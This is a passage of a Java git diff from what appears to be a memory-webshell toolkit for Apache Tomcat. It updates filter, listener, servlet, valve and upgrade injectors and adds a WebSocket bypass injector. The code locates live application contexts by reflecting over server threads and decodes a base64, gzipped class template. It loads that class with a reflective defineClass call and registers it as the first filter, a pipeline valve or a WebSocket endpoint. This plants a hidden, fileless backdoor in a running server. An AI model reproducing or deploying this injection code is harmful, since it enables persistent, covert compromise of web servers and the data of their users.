private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
@@ -149,15 +151,18 @@ public class TomcatFilterInjector {
|
|||||||
}
|
}
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
|
Class<?> filterMapClass;
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tomcat v8+
|
// tomcat v8+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
// tomcat v5+
|
// tomcat v5+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
@@ -175,11 +180,17 @@ public class TomcatFilterInjector {
|
|||||||
// tomcat v5
|
// tomcat v5
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// addFilterMapFirst
|
||||||
|
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
|
||||||
|
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
|
||||||
|
results[0] = filterMap;
|
||||||
|
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
|
||||||
try {
|
try {
|
||||||
// v7.0.0 以上
|
// Tomcat5
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
setFieldValue(context, "filterMaps", results);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor filterConfigConstructor;
|
Constructor filterConfigConstructor;
|
||||||
@@ -251,20 +262,34 @@ public class TomcatFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
Class<?> clazz = obj.getClass();
|
for (Class<?> clazz = obj.getClass();
|
||||||
while (clazz != Object.class) {
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
try {
|
try {
|
||||||
Field field = clazz.getDeclaredField(name);
|
return clazz.getDeclaredField(name);
|
||||||
field.setAccessible(true);
|
} catch (NoSuchFieldException ignored) {
|
||||||
return field.get(obj);
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
Field field = getField(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ public class TomcatListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -53,23 +53,6 @@ public class TomcatListenerInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -107,7 +90,24 @@ public class TomcatListenerInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -226,30 +226,25 @@ public class TomcatListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -8,7 +8,9 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -21,6 +23,14 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
private static String msg = "";
|
private static String msg = "";
|
||||||
private static boolean ok = false;
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
public TomcatProxyValveInjector() {
|
public TomcatProxyValveInjector() {
|
||||||
if (ok) {
|
if (ok) {
|
||||||
return;
|
return;
|
||||||
@@ -31,7 +41,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -49,36 +59,11 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
|
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
|
||||||
this.rawValve = rawValve;
|
this.rawValve = rawValve;
|
||||||
this.proxyValve = proxyValve;
|
this.proxyValve = proxyValve;
|
||||||
}
|
}
|
||||||
|
|
||||||
public String getClassName() {
|
|
||||||
return "{{className}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getBase64String() {
|
|
||||||
return "{{base64Str}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
|
||||||
if ("invoke".equals(method.getName())) {
|
if ("invoke".equals(method.getName())) {
|
||||||
@@ -133,6 +118,23 @@ public class TomcatProxyValveInjector implements InvocationHandler {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
@@ -8,7 +8,9 @@ import java.lang.reflect.Array;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -42,7 +44,7 @@ public class TomcatServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -60,23 +62,6 @@ public class TomcatServletInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -114,6 +99,23 @@ public class TomcatServletInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
|||||||
@@ -37,7 +37,7 @@ public class TomcatUpgradeInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -55,23 +55,6 @@ public class TomcatUpgradeInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* org.apache.catalina.core.StandardContext
|
* org.apache.catalina.core.StandardContext
|
||||||
* /usr/local/tomcat/server/lib/catalina.jar
|
* /usr/local/tomcat/server/lib/catalina.jar
|
||||||
@@ -113,6 +96,23 @@ public class TomcatUpgradeInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ public class TomcatValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -53,23 +53,6 @@ public class TomcatValveInjector {
|
|||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
private String getContextRoot(Object context) {
|
|
||||||
String r = null;
|
|
||||||
try {
|
|
||||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
}
|
|
||||||
String c = context.getClass().getName();
|
|
||||||
if (r == null) {
|
|
||||||
return c;
|
|
||||||
}
|
|
||||||
if (r.isEmpty()) {
|
|
||||||
return c + "(/)";
|
|
||||||
}
|
|
||||||
return c + "(" + r + ")";
|
|
||||||
}
|
|
||||||
|
|
||||||
public Set<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -107,6 +90,23 @@ public class TomcatValveInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
|
|||||||
@@ -0,0 +1,286 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.tomcat;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/1/13
|
||||||
|
*/
|
||||||
|
public class TomcatWebSocketByPassInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getHelperBase64String() {
|
||||||
|
return "{{helperBase64String}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public TomcatWebSocketByPassInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
String threadName = thread.getName();
|
||||||
|
if (threadName.contains("ContainerBackgroundProcessor")) {
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
|
||||||
|
try {
|
||||||
|
Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
|
||||||
|
Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
|
||||||
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
|
||||||
|
for (Object value : childrenMap.values()) {
|
||||||
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
|
contexts.addAll(children.values());
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||||
|
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private Object getShell(Object context) throws Exception {
|
||||||
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
|
try {
|
||||||
|
clazz = classLoader.loadClass(getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
clazz = defineShell(classLoader, getBase64String());
|
||||||
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
|
}
|
||||||
|
|
||||||
|
private Class<?> defineShell(ClassLoader classLoader, String base64) throws Exception {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(base64));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
return ((Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private void inject(Object context, Object obj) throws Exception {
|
||||||
|
Object servletContext = invokeMethod(context, "getServletContext", null, null);
|
||||||
|
Object container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"javax.websocket.server.ServerContainer"});
|
||||||
|
if (container == null) {
|
||||||
|
container = invokeMethod(servletContext, "getAttribute", new Class[]{String.class}, new Object[]{"jakarta.websocket.server.ServerContainer"});
|
||||||
|
}
|
||||||
|
|
||||||
|
if (container == null) {
|
||||||
|
throw new RuntimeException("container is null");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Object valve = defineShell(context.getClass().getClassLoader(), getHelperBase64String()).newInstance();
|
||||||
|
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||||
|
Class valveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
||||||
|
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||||
|
|
||||||
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
|
